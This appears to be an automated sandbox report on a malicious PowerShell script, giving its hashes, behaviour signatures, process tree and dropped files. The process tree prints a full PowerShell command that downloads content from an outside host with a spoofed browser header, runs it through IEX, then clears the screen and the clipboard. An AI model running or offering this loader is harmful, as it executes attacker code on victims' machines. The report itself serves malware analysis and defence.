Analysis

  • max time kernel
    1080s
  • max time network
    1799s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    20-06-2024 06:06

General

  • Target

    NoEjecutar.ps1

  • Size

    771B

  • MD5

    cff24ce87e9d24dead0de72ebca8b923

  • SHA1

    079265dd80f631c53fe34d688f6eeb0d52f8a6ae

  • SHA256

    d6b7aa881e985ed851187c9cc31f2b52f0eda6154477fdc7b7dde6c47b895aae

  • SHA512

    c6c4cf566ceb3d600efc84c49b5bf449f84f9eb4fe870d71c57cc3448538fb12017f702cb3854305bbb111e394d7150fd8b41778a102bbf1b1d90e97c9109202

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of SendNotifyMessage 32 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\NoEjecutar.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1936
    • C:\Windows\system32\ipconfig.exe
      "C:\Windows\system32\ipconfig.exe" /flushdns
      2⤵
      • Gathers network information
      PID:2624
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $g91F = 'https://flynews.us/hell/you/goback.html' $v38K = @{ 'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36' } $z04Q = Invoke-WebRequest -Uri $g91F -UseBasicParsing -Headers $v38K $content = $z04Q.Content IEX $content clear-host ; Set-Clipboard -Value " ";
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2644
  • C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    1⤵
    • Enumerates system info in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2872
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef6f69758,0x7fef6f69768,0x7fef6f69778
      2⤵
        PID:2880
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1148 --field-trial-handle=1196,i,16634031580132154435,4127922412255006321,131072 /prefetch:2
        2⤵
          PID:1860
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1520 --field-trial-handle=1196,i,16634031580132154435,4127922412255006321,131072 /prefetch:8
          2⤵
            PID:1628
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1600 --field-trial-handle=1196,i,16634031580132154435,4127922412255006321,131072 /prefetch:8
            2⤵
              PID:2708
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2120 --field-trial-handle=1196,i,16634031580132154435,4127922412255006321,131072 /prefetch:1
              2⤵
                PID:1044
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2156 --field-trial-handle=1196,i,16634031580132154435,4127922412255006321,131072 /prefetch:1
                2⤵
                  PID:1524
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1432 --field-trial-handle=1196,i,16634031580132154435,4127922412255006321,131072 /prefetch:2
                  2⤵
                    PID:932
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=1392 --field-trial-handle=1196,i,16634031580132154435,4127922412255006321,131072 /prefetch:1
                    2⤵
                      PID:1552
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3324 --field-trial-handle=1196,i,16634031580132154435,4127922412255006321,131072 /prefetch:8
                      2⤵
                        PID:2220
                    • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                      "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                      1⤵
                        PID:2256

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

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                      Downloads

                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                        Filesize

                        5KB

                        MD5

                        a7a400f3997b782592abe07e9798b6a6

                        SHA1

                        8499214772ff4b8ef4b925afc271c0a9d0b170cf

                        SHA256

                        84a817fb1d2192f91b5bc107e49d20d8a0db04201f061271d127a5f8d5782401

                        SHA512

                        82668d54eee21a4aed0778ac67a0e452a326d6bd024a7a6476a991d0e2ba1a2b8968638eaf8eabc39e741941455d2c8ca132bc9dde9d3e8b16014ace67dab142

                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                        Filesize

                        5KB

                        MD5

                        c42aaf08f76b625fedf326371151dc5d

                        SHA1

                        fa49e44862ac8ef72431dbd139946fdffde90c85

                        SHA256

                        b3ac158d3565543d7ec7fd9a38e6977afb195d27ad43082fb085fd9cc431cbea

                        SHA512

                        82e2baccddebff4afabce4759409d14ca898f7889ceeed1e7e6639e12221203f1e470aacbbed70ce0c32e224dc542b8a1078ea229a1539151c384422950259c4

                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000007.dbtmp

                        Filesize

                        16B

                        MD5

                        18e723571b00fb1694a3bad6c78e4054

                        SHA1

                        afcc0ef32d46fe59e0483f9a3c891d3034d12f32

                        SHA256

                        8af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa

                        SHA512

                        43bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2

                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\c2e1e2b7-ba46-4246-89ac-61bbce61d305.tmp

                        Filesize

                        5KB

                        MD5

                        2b87c3b7a3cab104f2543590d4d873da

                        SHA1

                        471af51fa96d1caee9990a95acc5eebbd9bee81a

                        SHA256

                        b181535837dba1931a60afca664a752961bffca237425fd12ec456558770a2a1

                        SHA512

                        0279fec03d464b6b5ed5b15802e21dd495bc63d79ff28d03b653e7dbca3f0124dcd7bb99208812418b118da0407da10984e27a31a5c66cc27291542b9f9a2acd

                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                        Filesize

                        140KB

                        MD5

                        617ca1b99f5a9cfc31ed9ecbafdb1251

                        SHA1

                        00d218a536122c63863827c79e5db0fccdfee1d9

                        SHA256

                        90cad4315208bcad3c9a92146f22562db5d45e2aba42d6a2fa2dfc5ba71f95f6

                        SHA512

                        ac9e3b92ecde03bb71f3144ef68a08c7e36e0674f2432a4acee9d57ae169a64ba19b3d12592ca8712f1540b4dba7d24c763b553b2e993bddef33e9d7adfe7f7e

                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                        Filesize

                        140KB

                        MD5

                        87496e3c5cf7b11ce39ddffadcacb0aa

                        SHA1

                        3ccaa0809ff720357906de216f382824428c39c3

                        SHA256

                        a518f95107bb312858bc5340870a8a5ebdbb93212747872a1634a3853d48e620

                        SHA512

                        bd4df5888bb77386431808e81f51231541bd9060049891fbe8c6fba4e412501390ab9289f48c391e252681fff612bdf58611e561024df05976dc3f818adb6f20

                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_1

                        Filesize

                        264KB

                        MD5

                        f50f89a0a91564d0b8a211f8921aa7de

                        SHA1

                        112403a17dd69d5b9018b8cede023cb3b54eab7d

                        SHA256

                        b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

                        SHA512

                        bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                        Filesize

                        7KB

                        MD5

                        46a2506250dc50a312da0e6cb9c83b7e

                        SHA1

                        b6ef2f094236c3807b075231aec00f98518c5727

                        SHA256

                        c4fdad7315d5af8bb70f6c79dc197adaed96dcf032afd4cb79f7f0202621893c

                        SHA512

                        a25949432977bf74dc3af3270b87cd20cfb2a65bfc9def62623fb2d1df1fe95b250cbc47e2466e7777a8ed3881dcef784f9a49d4f1da36d19db6759b71d43fe7

                      • memory/1936-8-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

                        Filesize

                        9.6MB

                      • memory/1936-10-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

                        Filesize

                        9.6MB

                      • memory/1936-9-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

                        Filesize

                        9.6MB

                      • memory/1936-4-0x000007FEF5D2E000-0x000007FEF5D2F000-memory.dmp

                        Filesize

                        4KB

                      • memory/1936-7-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

                        Filesize

                        9.6MB

                      • memory/1936-6-0x0000000001E00000-0x0000000001E08000-memory.dmp

                        Filesize

                        32KB

                      • memory/1936-5-0x000000001B610000-0x000000001B8F2000-memory.dmp

                        Filesize

                        2.9MB

                      • memory/2644-16-0x00000000027D0000-0x00000000027D8000-memory.dmp

                        Filesize

                        32KB